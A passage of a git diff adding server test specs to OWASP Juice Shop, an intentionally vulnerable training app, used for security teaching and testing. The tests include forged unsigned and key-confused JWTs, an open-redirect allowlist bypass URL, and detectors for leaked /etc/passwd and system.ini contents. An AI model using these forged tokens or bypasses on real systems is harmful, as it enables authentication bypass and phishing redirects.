Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import sinon = require('sinon') +const chai = require('chai') +const sinonChai = require('sinon-chai') +const expect = chai.expect +chai.use(sinonChai) + +describe('redirect', () => { + const performRedirect = require('../../routes/redirect') + const challenges = require('../../data/datacache').challenges + let req: any + let res: any + let next: any + let save: any + + beforeEach(() => { + req = { query: {} } + res = { redirect: sinon.spy(), status: sinon.spy() } + next = sinon.spy() + save = () => ({ + then () { } + }) + }) + + describe('should be performed for all allowlisted URLs', () => { + for (const url of require('../../lib/insecurity').redirectAllowlist) { + it(url, () => { + req.query.to = url + + performRedirect()(req, res, next) + + expect(res.redirect).to.have.been.calledWith(url) + }) + } + }) + + it('should raise error for URL not on allowlist', () => { + req.query.to = 'http://kimminich.de' + + performRedirect()(req, res, next) + + expect(res.redirect).to.have.not.been.calledWith(sinon.match.any) + expect(next).to.have.been.calledWith(sinon.match.instanceOf(Error)) + }) + + it('redirecting to https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm should solve the "redirectCryptoCurrencyChallenge"', () => { + req.query.to = 'https://blockchain.info/address/1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm' + challenges.redirectCryptoCurrencyChallenge = { solved: false, save: save } + + performRedirect()(req, res) + + expect(challenges.redirectCryptoCurrencyChallenge.solved).to.equal(true) + }) + + it('redirecting to https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW should solve the "redirectCryptoCurrencyChallenge"', () => { + req.query.to = 'https://explorer.dash.org/address/Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW' + challenges.redirectCryptoCurrencyChallenge = { solved: false, save: save } + + performRedirect()(req, res) + + expect(challenges.redirectCryptoCurrencyChallenge.solved).to.equal(true) + }) + + it('redirecting to https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6 should solve the "redirectCryptoCurrencyChallenge"', () => { + req.query.to = 'https://etherscan.io/address/0x0f933ab9fcaaa782d0279c300d73750e1311eae6' + challenges.redirectCryptoCurrencyChallenge = { solved: false, save: save } + + performRedirect()(req, res) + + expect(challenges.redirectCryptoCurrencyChallenge.solved).to.equal(true) + }) + + it('tricking the allowlist should solve "redirectChallenge"', () => { + req.query.to = 'http://kimminich.de?to=https://github.com/bkimminich/juice-shop' + challenges.redirectChallenge = { solved: false, save: save } + + performRedirect()(req, res) + + expect(challenges.redirectChallenge.solved).to.equal(true) + }) +}) diff --git a/test/server/utilsSpec.ts b/test/server/utilsSpec.ts new file mode 100644 index 00000000000..931c98c7b2d --- /dev/null +++ b/test/server/utilsSpec.ts @@ -0,0 +1,114 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import chai = require('chai') +const expect = chai.expect + +describe('utils', () => { + const utils = require('../../lib/utils') + + describe('toSimpleIpAddress', () => { + it('returns ipv6 address unchanged', () => { + expect(utils.toSimpleIpAddress('2001:0db8:85a3:0000:0000:8a2e:0370:7334')).to.equal('2001:0db8:85a3:0000:0000:8a2e:0370:7334') + }) + + it('returns ipv4 address fully specified as ipv6 unchanged', () => { + expect(utils.toSimpleIpAddress('0:0:0:0:0:ffff:7f00:1')).to.equal('0:0:0:0:0:ffff:7f00:1') + }) + + it('returns ipv6 loopback address as ipv4 address', () => { + expect(utils.toSimpleIpAddress('::1')).to.equal('127.0.0.1') + }) + + it('returns ipv4-mapped address as ipv4 address', () => { + expect(utils.toSimpleIpAddress('::ffff:192.0.2.128')).to.equal('192.0.2.128') + }) + }) + + describe('extractFilename', () => { + it('returns standalone filename unchanged', () => { + expect(utils.extractFilename('test.exe')).to.equal('test.exe') + }) + + it('returns filename from http:// URL', () => { + expect(utils.extractFilename('http://bla.blubb/test.exe')).to.equal('test.exe') + }) + + it('ignores query part of http:// URL', () => { + expect(utils.extractFilename('http://bla.blubb/test.exe?bla=blubb&a=b')).to.equal('test.exe') + }) + + it('also works for file:// URLs', () => { + expect(utils.extractFilename('file:///C//Bla/Blubb/test.exe')).to.equal('test.exe') + }) + }) + + describe('matchesSystemIniFile', () => { + it('fails on plain input string', () => { + expect(utils.matchesSystemIniFile('Bla Blubb')).to.equal(false) + }) + + it('passes on Windows 10 system.ini file content', () => { + expect(utils.matchesSystemIniFile('; for 16-bit app support\n' + + '[386Enh]\n' + + 'woafont=dosapp.fon\n' + + 'EGA80WOA.FON=EGA80WOA.FON\n' + + 'EGA40WOA.FON=EGA40WOA.FON\n' + + 'CGA80WOA.FON=CGA80WOA.FON\n' + + 'CGA40WOA.FON=CGA40WOA.FON\n' + + '\n' + + '[drivers]\n' + + 'wave=mmdrv.dll\n' + + 'timer=timer.drv\n' + + '\n' + + '[mci]\n')).to.equal(true) + }) + }) + + describe('matchesEtcPasswdFile', () => { + it('fails on plain input string', () => { + expect(utils.matchesEtcPasswdFile('Bla Blubb')).to.equal(false) + }) + + it('passes on Arch Linux passwd file content', () => { + expect(utils.matchesEtcPasswdFile('test:x:0:0:test:/test:/usr/bin/zsh\n' + + 'bin:x:1:1::/:/usr/bin/nologin\n' + + 'daemon:x:2:2::/:/usr/bin/nologin\n' + + 'mail:x:8:12::/var/spool/mail:/usr/bin/nologin\n' + + 'ftp:x:14:11::/srv/ftp:/usr/bin/nologin\n' + + 'http:x:33:33::/srv/http:/usr/bin/nologin\n' + + 'nobody:x:65534:65534:Nobody:/:/usr/bin/nologin\n' + + 'dbus:x:81:81:System Message Bus:/:/usr/bin/nologin\n' + + 'systemd-journal-remote:x:988:988:systemd Journal Remote:/:/usr/bin/nologin\n' + + 'systemd-network:x:987:987:systemd Network Management:/:/usr/bin/nologin\n' + + 'systemd-oom:x:986:986:systemd Userspace OOM Killer:/:/usr/bin/nologin\n' + + 'systemd-resolve:x:984:984:systemd Resolver:/:/usr/bin/nologin\n' + + 'systemd-timesync:x:983:983:systemd Time Synchronization:/:/usr/bin/nologin\n' + + 'systemd-coredump:x:982:982:systemd Core Dumper:/:/usr/bin/nologin\n' + + 'uuidd:x:68:68::/:/usr/bin/nologin\n' + + 'avahi:x:980:980:Avahi mDNS/DNS-SD daemon:/:/usr/bin/nologin\n' + + 'named:x:40:40:BIND DNS Server:/:/usr/bin/nologin\n' + + 'brltty:x:979:979:Braille Device Daemon:/var/lib/brltty:/usr/bin/nologin\n' + + 'colord:x:978:978:Color management daemon:/var/lib/colord:/usr/bin/nologin\n' + + 'cups:x:209:209:cups helper user:/:/usr/bin/nologin\n' + + 'dhcpcd:x:977:977:dhcpcd privilege separation:/:/usr/bin/nologin\n' + + 'dnsmasq:x:976:976:dnsmasq daemon:/:/usr/bin/nologin\n' + + 'git:x:975:975:git daemon user:/:/usr/bin/git-shell\n' + + 'mpd:x:45:45::/var/lib/mpd:/usr/bin/nologin\n' + + 'nbd:x:974:974:Network Block Device:/var/empty:/usr/bin/nologin\n' + + 'nm-openvpn:x:973:973:NetworkManager OpenVPN:/:/usr/bin/nologin\n' + + 'nvidia-persistenced:x:143:143:NVIDIA Persistence Daemon:/:/usr/bin/nologin\n' + + 'openvpn:x:972:972:OpenVPN:/:/usr/bin/nologin\n' + + 'partimag:x:110:110:Partimage user:/:/usr/bin/nologin\n' + + 'polkitd:x:102:102:PolicyKit daemon:/:/usr/bin/nologin\n' + + 'rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/usr/bin/nologin\n' + + 'rtkit:x:133:133:RealtimeKit:/proc:/usr/bin/nologin\n' + + 'sddm:x:971:971:Simple Desktop Display Manager:/var/lib/sddm:/usr/bin/nologin\n' + + 'tss:x:970:970:tss user for tpm2:/:/usr/bin/nologin\n' + + 'usbmux:x:140:140:usbmux user:/:/usr/bin/nologin\n' + + 'moi:x:1000:1000:moi:/home/moi:/bin/zsh\n')).to.equal(true) + }) + }) +}) diff --git a/test/server/verifySpec.js b/test/server/verifySpec.js deleted file mode 100644 index dc2906deae8..00000000000 --- a/test/server/verifySpec.js +++ /dev/null @@ -1,286 +0,0 @@ -const sinon = require('sinon') -const chai = require('chai') -const sinonChai = require('sinon-chai') -const expect = chai.expect -chai.use(sinonChai) -const cache = require('../../data/datacache') -const insecurity = require('../../lib/insecurity') - -describe('verify', () => { - const verify = require('../../routes/verify') - const challenges = require('../../data/datacache').challenges - - beforeEach(() => { - this.req = { body: {}, headers: {} } - this.res = { json: sinon.spy() } - this.next = sinon.spy() - this.save = () => ({ - then () { } - }) - }) - - describe('"forgedFeedbackChallenge"', () => { - beforeEach(() => { - insecurity.authenticatedUsers.put('token12345', { - data: { - id: 42, - email: 'test@juice-sh.op' - } - }) - challenges.forgedFeedbackChallenge = { solved: false, save: this.save } - }) - - it('is not solved when an authenticated user passes his own ID when writing feedback', () => { - this.req.body.UserId = 42 - this.req.headers = { authorization: 'Bearer token12345' } - - verify.forgedFeedbackChallenge()(this.req, this.res, this.next) - - expect(challenges.forgedFeedbackChallenge.solved).to.equal(false) - }) - - it('is not solved when an authenticated user passes no ID when writing feedback', () => { - this.req.body.UserId = undefined - this.req.headers = { authorization: 'Bearer token12345' } - - verify.forgedFeedbackChallenge()(this.req, this.res, this.next) - - expect(challenges.forgedFeedbackChallenge.solved).to.equal(false) - }) - - it('is solved when an authenticated user passes someone elses ID when writing feedback', () => { - this.req.body.UserId = 1 - this.req.headers = { authorization: 'Bearer token12345' } - - verify.forgedFeedbackChallenge()(this.req, this.res, this.next) - - expect(challenges.forgedFeedbackChallenge.solved).to.equal(true) - }) - - it('is solved when an unauthenticated user passes someones ID when writing feedback', () => { - this.req.body.UserId = 1 - this.req.headers = {} - - verify.forgedFeedbackChallenge()(this.req, this.res, this.next) - - expect(challenges.forgedFeedbackChallenge.solved).to.equal(true) - }) - }) - - describe('accessControlChallenges', () => { - it('"scoreBoardChallenge" is solved when the scoreBoard.png transpixel is this.requested', () => { - challenges.scoreBoardChallenge = { solved: false, save: this.save } - this.req.url = 'http://juice-sh.op/public/images/tracking/scoreboard.png' - - verify.accessControlChallenges()(this.req, this.res, this.next) - - expect(challenges.scoreBoardChallenge.solved).to.equal(true) - }) - - it('"adminSectionChallenge" is solved when the administration.png transpixel is this.requested', () => { - challenges.adminSectionChallenge = { solved: false, save: this.save } - this.req.url = 'http://juice-sh.op/public/images/tracking/administration.png' - - verify.accessControlChallenges()(this.req, this.res, this.next) - - expect(challenges.adminSectionChallenge.solved).to.equal(true) - }) - - it('"tokenSaleChallenge" is solved when the tokensale.png transpixel is this.requested', () => { - challenges.tokenSaleChallenge = { solved: false, save: this.save } - this.req.url = 'http://juice-sh.op/public/images/tracking/tokensale.png' - - verify.accessControlChallenges()(this.req, this.res, this.next) - - expect(challenges.tokenSaleChallenge.solved).to.equal(true) - }) - - it('"extraLanguageChallenge" is solved when the Klingon translation file is this.requested', () => { - challenges.extraLanguageChallenge = { solved: false, save: this.save } - this.req.url = 'http://juice-sh.op/public/i18n/tlh_AA.json' - - verify.accessControlChallenges()(this.req, this.res, this.next) - - expect(challenges.extraLanguageChallenge.solved).to.equal(true) - }) - - it('"retrieveBlueprintChallenge" is solved when the blueprint file is this.requested', () => { - challenges.retrieveBlueprintChallenge = { solved: false, save: this.save } - cache.retrieveBlueprintChallengeFile = 'test.dxf' - this.req.url = 'http://juice-sh.op/public/images/products/test.dxf' - - verify.accessControlChallenges()(this.req, this.res, this.next) - - expect(challenges.retrieveBlueprintChallenge.solved).to.equal(true) - }) - }) - - describe('"errorHandlingChallenge"', () => { - beforeEach(() => { - challenges.errorHandlingChallenge = { solved: false, save: this.save } - }) - - it('is solved when an error occurs on a this.response with OK 200 status code', () => { - this.res.statusCode = 200 - this.err = new Error() - - verify.errorHandlingChallenge()(this.err, this.req, this.res, this.next) - - expect(challenges.errorHandlingChallenge.solved).to.equal(true) - }) - - describe('is solved when an error occurs on a this.response with error', () => { - const httpStatus = [402, 403, 404, 500] - httpStatus.forEach(statusCode => { - it(statusCode + ' status code', () => { - this.res.statusCode = statusCode - this.err = new Error() - - verify.errorHandlingChallenge()(this.err, this.req, this.res, this.next) - - expect(challenges.errorHandlingChallenge.solved).to.equal(true) - }) - }) - }) - - it('is not solved when no error occurs on a this.response with OK 200 status code', () => { - this.res.statusCode = 200 - this.err = undefined - - verify.errorHandlingChallenge()(this.err, this.req, this.res, this.next) - - expect(challenges.errorHandlingChallenge.solved).to.equal(false) - }) - - describe('is not solved when no error occurs on a this.response with error', () => { - const httpStatus = [401, 402, 404, 500] - httpStatus.forEach(statusCode => { - it(statusCode + ' status code', () => { - this.res.statusCode = statusCode - this.err = undefined - - verify.errorHandlingChallenge()(this.err, this.req, this.res, this.next) - - expect(challenges.errorHandlingChallenge.solved).to.equal(false) - }) - }) - }) - - it('should pass occured error on to this.next route', () => { - this.res.statusCode = 500 - this.err = new Error() - - verify.errorHandlingChallenge()(this.err, this.req, this.res, this.next) - - expect(this.next).to.have.been.calledWith(this.err) - }) - }) - - describe('databaseRelatedChallenges', () => { - describe('"changeProductChallenge"', () => { - const products = require('../../data/datacache').products - - beforeEach(() => { - challenges.changeProductChallenge = { solved: false, save: this.save } - products.osaft = { reload () { return { then (cb) { cb() } } } } - }) - - it('is solved when the link in the O-Saft product goes to http://kimminich.de', () => { - products.osaft.description = 'O-Saft, yeah! More...' - - verify.databaseRelatedChallenges()(this.req, this.res, this.next) - - expect(challenges.changeProductChallenge.solved).to.equal(true) - }) - - it('is not solved when the link in the O-Saft product is changed to an arbitrary URL', () => { - products.osaft.description = 'O-Saft, nooo! More...' - - verify.databaseRelatedChallenges()(this.req, this.res, this.next) - - expect(challenges.changeProductChallenge.solved).to.equal(false) - }) - - it('is not solved when the link in the O-Saft product remained unchanged', () => { - products.osaft.description = 'Vanilla O-Saft! More...' - - verify.databaseRelatedChallenges()(this.req, this.res, this.next) - - expect(challenges.changeProductChallenge.solved).to.equal(false) - }) - }) - }) - - describe('jwtChallenges', () => { - beforeEach(() => { - challenges.jwtTier1Challenge = { solved: false, save: this.save } - challenges.jwtTier2Challenge = { solved: false, save: this.save } - }) - - it('"jwtTier1Challenge" is solved when forged unsigned token has email jwtn3d@juice-sh.op in the payload', () => { - /* - Header: { "alg": "none", "typ": "JWT" } - Payload: { "data": { "email": "jwtn3d@juice-sh.op" }, "iat": 1508639612, "exp": 9999999999 } - */ - this.req.headers = { authorization: 'Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJkYXRhIjp7ImVtYWlsIjoiand0bjNkQGp1aWNlLXNoLm9wIn0sImlhdCI6MTUwODYzOTYxMiwiZXhwIjo5OTk5OTk5OTk5fQ.' } - - verify.jwtChallenges()(this.req, this.res, this.next) - - expect(challenges.jwtTier1Challenge.solved).to.equal(true) - }) - - it('"jwtTier1Challenge" is solved when forged unsigned token has string "jwtn3d@" in the payload', () => { - /* - Header: { "alg": "none", "typ": "JWT" } - Payload: { "data": { "email": "jwtn3d@" }, "iat": 1508639612, "exp": 9999999999 } - */ - this.req.headers = { authorization: 'Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJkYXRhIjp7ImVtYWlsIjoiand0bjNkQCJ9LCJpYXQiOjE1MDg2Mzk2MTIsImV4cCI6OTk5OTk5OTk5OX0.' } - - verify.jwtChallenges()(this.req, this.res, this.next) - - expect(challenges.jwtTier1Challenge.solved).to.equal(true) - }) - - it('"jwtTier1Challenge" is not solved via regularly signed token even with email jwtn3d@juice-sh.op in the payload', () => { - const token = insecurity.authorize({ data: { email: 'jwtn3d@juice-sh.op' } }) - this.req.headers = { authorization: 'Bearer ' + token } - - verify.jwtChallenges()(this.req, this.res, this.next) - - expect(challenges.jwtTier2Challenge.solved).to.equal(false) - }) - - it('"jwtTier2Challenge" is solved when forged token HMAC-signed with public RSA-key has email rsa_lord@juice-sh.op in the payload', () => { - /* - Header: { "alg": "HS256", "typ": "JWT" } - Payload: { "data": { "email": "rsa_lord@juice-sh.op" }, "iat": 1508639612, "exp": 9999999999 } - */ - this.req.headers = { authorization: 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7ImVtYWlsIjoicnNhX2xvcmRAanVpY2Utc2gub3AifSwiaWF0IjoxNTA4NjM5NjEyLCJleHAiOjk5OTk5OTk5OTl9.dFeqI0EGsOecwi5Eo06dFUBtW5ziRljFgMWOCYeA8yw' } - - verify.jwtChallenges()(this.req, this.res, this.next) - - expect(challenges.jwtTier2Challenge.solved).to.equal(true) - }) - - it('"jwtTier2Challenge" is solved when forged token HMAC-signed with public RSA-key has string "rsa_lord@" in the payload', () => { - /* - Header: { "alg": "HS256", "typ": "JWT" } - Payload: { "data": { "email": "rsa_lord@" }, "iat": 1508639612, "exp": 9999999999 } - */ - this.req.headers = { authorization: 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjp7ImVtYWlsIjoicnNhX2xvcmRAIn0sImlhdCI6MTUwODYzOTYxMiwiZXhwIjo5OTk5OTk5OTk5fQ.mvgAeQum5lh6Wq4f-69OqLy3g_SD2_aNahyHBHP4Bwk' } - - verify.jwtChallenges()(this.req, this.res, this.next) - - expect(challenges.jwtTier2Challenge.solved).to.equal(true) - }) - - it('"jwtTier2Challenge" is not solved when token regularly signed with private RSA-key has email rsa_lord@juice-sh.op in the payload', () => { - const token = insecurity.authorize({ data: { email: 'rsa_lord@juice-sh.op' } }) - this.req.headers = { authorization: 'Bearer ' + token } - - verify.jwtChallenges()(this.req, this.res, this.next) - - expect(challenges.jwtTier2Challenge.solved).to.equal(false) - }) - }) -}) diff --git a/test/server/verifySpec.ts b/test/server/verifySpec.ts new file mode 100644 index 00000000000..ca197680269 --- /dev/null +++ b/test/server/verifySpec.ts @@ -0,0 +1,325 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import sinon = require('sinon') +const chai = require('chai') +const sinonChai = require('sinon-chai') +const expect = chai.expect +chai.use(sinonChai) +const cache = require('../../data/datacache') +const security = require('../../lib/insecurity') +const config = require('config') +const utils = require('../../lib/utils') + +describe('verify', () => { + const verify = require('../../routes/verify') + const challenges = require('../../data/datacache').challenges + let req: any + let res: any + let next: any + let save: any + let err: any + + beforeEach(() => { + req = { body: {}, headers: {} } + res = { json: sinon.spy() } + next = sinon.spy() + save = () => ({ + then () { } + }) + }) + + describe('"forgedFeedbackChallenge"', () => { + beforeEach(() => { + security.authenticatedUsers.put('token12345', { + data: { + id: 42, + email: 'test@juice-sh.op' + } + }) + challenges.forgedFeedbackChallenge = { solved: false, save: save } + }) + + it('is not solved when an authenticated user passes his own ID when writing feedback', () => { + req.body.UserId = 42 + req.headers = { authorization: 'Bearer token12345' } + + verify.forgedFeedbackChallenge()(req, res, next) + + expect(challenges.forgedFeedbackChallenge.solved).to.equal(false) + }) + + it('is not solved when an authenticated user passes no ID when writing feedback', () => { + req.body.UserId = undefined + req.headers = { authorization: 'Bearer token12345' } + + verify.forgedFeedbackChallenge()(req, res, next) + + expect(challenges.forgedFeedbackChallenge.solved).to.equal(false) + }) + + it('is solved when an authenticated user passes someone elses ID when writing feedback', () => { + req.body.UserId = 1 + req.headers = { authorization: 'Bearer token12345' } + + verify.forgedFeedbackChallenge()(req, res, next) + + expect(challenges.forgedFeedbackChallenge.solved).to.equal(true) + }) + + it('is solved when an unauthenticated user passes someones ID when writing feedback', () => { + req.body.UserId = 1 + req.headers = {} + + verify.forgedFeedbackChallenge()(req, res, next) + + expect(challenges.forgedFeedbackChallenge.solved).to.equal(true) + }) + }) + + describe('accessControlChallenges', () => { + it('"scoreBoardChallenge" is solved when the 1px.png transpixel is requested', () => { + challenges.scoreBoardChallenge = { solved: false, save: save } + req.url = 'http://juice-sh.op/public/images/padding/1px.png' + + verify.accessControlChallenges()(req, res, next) + + expect(challenges.scoreBoardChallenge.solved).to.equal(true) + }) + + it('"adminSectionChallenge" is solved when the 19px.png transpixel is requested', () => { + challenges.adminSectionChallenge = { solved: false, save: save } + req.url = 'http://juice-sh.op/public/images/padding/19px.png' + + verify.accessControlChallenges()(req, res, next) + + expect(challenges.adminSectionChallenge.solved).to.equal(true) + }) + + it('"tokenSaleChallenge" is solved when the 56px.png transpixel is requested', () => { + challenges.tokenSaleChallenge = { solved: false, save: save } + req.url = 'http://juice-sh.op/public/images/padding/56px.png' + + verify.accessControlChallenges()(req, res, next) + + expect(challenges.tokenSaleChallenge.solved).to.equal(true) + }) + + it('"extraLanguageChallenge" is solved when the Klingon translation file is requested', () => { + challenges.extraLanguageChallenge = { solved: false, save: save } + req.url = 'http://juice-sh.op/public/i18n/tlh_AA.json' + + verify.accessControlChallenges()(req, res, next) + + expect(challenges.extraLanguageChallenge.solved).to.equal(true) + }) + + it('"retrieveBlueprintChallenge" is solved when the blueprint file is requested', () => { + challenges.retrieveBlueprintChallenge = { solved: false, save: save } + cache.retrieveBlueprintChallengeFile = 'test.dxf' + req.url = 'http://juice-sh.op/public/images/products/test.dxf' + + verify.accessControlChallenges()(req, res, next) + + expect(challenges.retrieveBlueprintChallenge.solved).to.equal(true) + }) + + it('"missingEncodingChallenge" is solved when the crazy cat photo is requested', () => { + challenges.missingEncodingChallenge = { solved: false, save: save } + req.url = 'http://juice-sh.op/public/images/uploads/%F0%9F%98%BC-%23zatschi-%23whoneedsfourlegs-1572600969477.jpg' + + verify.accessControlChallenges()(req, res, next) + + expect(challenges.missingEncodingChallenge.solved).to.equal(true) + }) + + it('"accessLogDisclosureChallenge" is solved when any server access log file is requested', () => { + challenges.accessLogDisclosureChallenge = { solved: false, save: save } + req.url = 'http://juice-sh.op/support/logs/access.log.2019-01-15' + + verify.accessControlChallenges()(req, res, next) + + expect(challenges.accessLogDisclosureChallenge.solved).to.equal(true) + }) + }) + + describe('"errorHandlingChallenge"', () => { + beforeEach(() => { + challenges.errorHandlingChallenge = { solved: false, save: save } + }) + + it('is solved when an error occurs on a response with OK 200 status code', () => { + res.statusCode = 200 + err = new Error() + + verify.errorHandlingChallenge()(err, req, res, next) + + expect(challenges.errorHandlingChallenge.solved).to.equal(true) + }) + + describe('is solved when an error occurs on a response with error', () => { + const httpStatus = [402, 403, 404, 500] + httpStatus.forEach(statusCode => { + it(`${statusCode} status code`, () => { + res.statusCode = statusCode + err = new Error() + + verify.errorHandlingChallenge()(err, req, res, next) + + expect(challenges.errorHandlingChallenge.solved).to.equal(true) + }) + }) + }) + + it('is not solved when no error occurs on a response with OK 200 status code', () => { + res.statusCode = 200 + err = undefined + + verify.errorHandlingChallenge()(err, req, res, next) + + expect(challenges.errorHandlingChallenge.solved).to.equal(false) + }) + + describe('is not solved when no error occurs on a response with error', () => { + const httpStatus = [401, 402, 404, 500] + httpStatus.forEach(statusCode => { + it(`${statusCode} status code`, () => { + res.statusCode = statusCode + err = undefined + + verify.errorHandlingChallenge()(err, req, res, next) + + expect(challenges.errorHandlingChallenge.solved).to.equal(false) + }) + }) + }) + + it('should pass occured error on to next route', () => { + res.statusCode = 500 + err = new Error() + + verify.errorHandlingChallenge()(err, req, res, next) + + expect(next).to.have.been.calledWith(err) + }) + }) + + describe('databaseRelatedChallenges', () => { + describe('"changeProductChallenge"', () => { + const products = require('../../data/datacache').products + + beforeEach(() => { + challenges.changeProductChallenge = { solved: false, save: save } + products.osaft = { reload () { return { then (cb: any) { cb() } } } } + }) + + it(`is solved when the link in the O-Saft product goes to ${config.get('challenges.overwriteUrlForProductTamperingChallenge')}`, () => { + products.osaft.description = `O-Saft, yeah! More...` + + verify.databaseRelatedChallenges()(req, res, next) + + expect(challenges.changeProductChallenge.solved).to.equal(true) + }) + + it('is not solved when the link in the O-Saft product is changed to an arbitrary URL', () => { + products.osaft.description = 'O-Saft, nooo! More...' + + verify.databaseRelatedChallenges()(req, res, next) + + expect(challenges.changeProductChallenge.solved).to.equal(false) + }) + + it('is not solved when the link in the O-Saft product remained unchanged', () => { + let urlForProductTamperingChallenge = null + for (const product of config.products) { + if (product.urlForProductTamperingChallenge !== undefined) { + urlForProductTamperingChallenge = product.urlForProductTamperingChallenge + break + } + } + products.osaft.description = `Vanilla O-Saft! More...` + + verify.databaseRelatedChallenges()(req, res, next) + + expect(challenges.changeProductChallenge.solved).to.equal(false) + }) + }) + }) + + describe('jwtChallenges', () => { + beforeEach(() => { + challenges.jwtUnsignedChallenge = { solved: false, save: save } + challenges.jwtForgedChallenge = { solved: false, save: save } + }) + + it('"jwtUnsignedChallenge" is solved when forged unsigned token has email jwtn3d@juice-sh.op in the payload', () => { + /* + Header: { "alg": "none", "typ": "JWT" } + Payload: { "data": { "email": "jwtn3d@juice-sh.op" }, "iat": 1508639612, "exp": 9999999999 } + */ + req.headers = { authorization: 'Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJkYXRhIjp7ImVtYWlsIjoiand0bjNkQGp1aWNlLXNoLm9wIn0sImlhdCI6MTUwODYzOTYxMiwiZXhwIjo5OTk5OTk5OTk5fQ.' } + + verify.jwtChallenges()(req, res, next) + + expect(challenges.jwtUnsignedChallenge.solved).to.equal(true) + }) + + it('"jwtUnsignedChallenge" is solved when forged unsigned token has string "jwtn3d@" in the payload', () => { + /* + Header: { "alg": "none", "typ": "JWT" } + Payload: { "data": { "email": "jwtn3d@" }, "iat": 1508639612, "exp": 9999999999 } + */ + req.headers = { authorization: 'Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJkYXRhIjp7ImVtYWlsIjoiand0bjNkQCJ9LCJpYXQiOjE1MDg2Mzk2MTIsImV4cCI6OTk5OTk5OTk5OX0.' } + + verify.jwtChallenges()(req, res, next) + + expect(challenges.jwtUnsignedChallenge.solved).to.equal(true) + }) + + it('"jwtUnsignedChallenge" is not solved via regularly signed token even with email jwtn3d@juice-sh.op in the payload', () => { + const token = security.authorize({ data: { email: 'jwtn3d@juice-sh.op' } }) + req.headers = { authorization: `Bearer ${token}` } + + verify.jwtChallenges()(req, res, next) + + expect(challenges.jwtForgedChallenge.solved).to.equal(false) + }) + + if (!utils.disableOnWindowsEnv()) { + it('"jwtForgedChallenge" is solved when forged token HMAC-signed with public RSA-key has email rsa_lord@juice-sh.op in the payload', () => { + /* + Header: { "alg": "HS256", "typ": "JWT" } + Payload: { "data": { "email": "rsa_lord@juice-sh.op" }, "iat": 1508639612, "exp": 9999999999 } + */ + req.headers = { authorization: 'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImVtYWlsIjoicnNhX2xvcmRAanVpY2Utc2gub3AifSwiaWF0IjoxNTgyMjIxNTc1fQ.ycFwtqh4ht4Pq9K5rhiPPY256F9YCTIecd4FHFuSEAg' } + + verify.jwtChallenges()(req, res, next) + + expect(challenges.jwtForgedChallenge.solved).to.equal(true) + }) + + it('"jwtForgedChallenge" is solved when forged token HMAC-signed with public RSA-key has string "rsa_lord@" in the payload', () => { + /* + Header: { "alg": "HS256", "typ": "JWT" } + Payload: { "data": { "email": "rsa_lord@" }, "iat": 1508639612, "exp": 9999999999 } + */ + req.headers = { authorization: 'Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImVtYWlsIjoicnNhX2xvcmRAIn0sImlhdCI6MTU4MjIyMTY3NX0.50f6VAIQk2Uzpf3sgH-1JVrrTuwudonm2DKn2ec7Tg8' } + + verify.jwtChallenges()(req, res, next) + + expect(challenges.jwtForgedChallenge.solved).to.equal(true) + }) + + it('"jwtForgedChallenge" is not solved when token regularly signed with private RSA-key has email rsa_lord@juice-sh.op in the payload', () => { + const token = security.authorize({ data: { email: 'rsa_lord@juice-sh.op' } }) + req.headers = { authorization: `Bearer ${token}` } + + verify.jwtChallenges()(req, res, next) + + expect(challenges.jwtForgedChallenge.solved).to.equal(false) + }) + } + }) +}) diff --git a/test/server/webhookSpec.ts b/test/server/webhookSpec.ts new file mode 100644 index 00000000000..06f62588e41 --- /dev/null +++ b/test/server/webhookSpec.ts @@ -0,0 +1,33 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import chai = require('chai') +const expect = chai.expect +const chaiAsPromised = require('chai-as-promised') +chai.use(chaiAsPromised) + +describe('webhook', () => { + const webhook = require('../../lib/webhook') + + const challenge = { + key: 'key', + name: 'name', + difficulty: 1 + } + + describe('notify', () => { + it('fails when no webhook URL is provided via environment variable', () => { + void expect(webhook.notify(challenge)).to.eventually.throw('options.uri is a required argument') + }) + + it('fails when supplied webhook is not a valid URL', () => { + void expect(webhook.notify(challenge, 0, 'localhorst')).to.eventually.throw('Invalid URI "localhorst"') + }) + + it('submits POST with payload to existing URL', () => { + void expect(webhook.notify(challenge, 0, 'https://enlm7zwniuyah.x.pipedream.net/')).to.eventually.not.throw() + }) + }) +}) diff --git a/test/smoke/Dockerfile b/test/smoke/Dockerfile new file mode 100644 index 00000000000..20df9ef06eb --- /dev/null +++ b/test/smoke/Dockerfile @@ -0,0 +1,7 @@ +FROM alpine + +RUN apk add curl + +COPY smoke-test.sh smoke-test.sh + +CMD ["sh", "smoke-test.sh", "http://app:3000"] \ No newline at end of file diff --git a/test/smoke/smoke-test.sh b/test/smoke/smoke-test.sh new file mode 100644 index 00000000000..3a148b95b43 --- /dev/null +++ b/test/smoke/smoke-test.sh @@ -0,0 +1,54 @@ +#!/bin/sh + +# +# Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. +# SPDX-License-Identifier: MIT +# + +printf "Waiting 20sec for %s to launch" "$1" +sleep 5 +printf "....." +sleep 5 +printf "....." +sleep 5 +printf "....." +sleep 5 +printf ".....\n" +printf 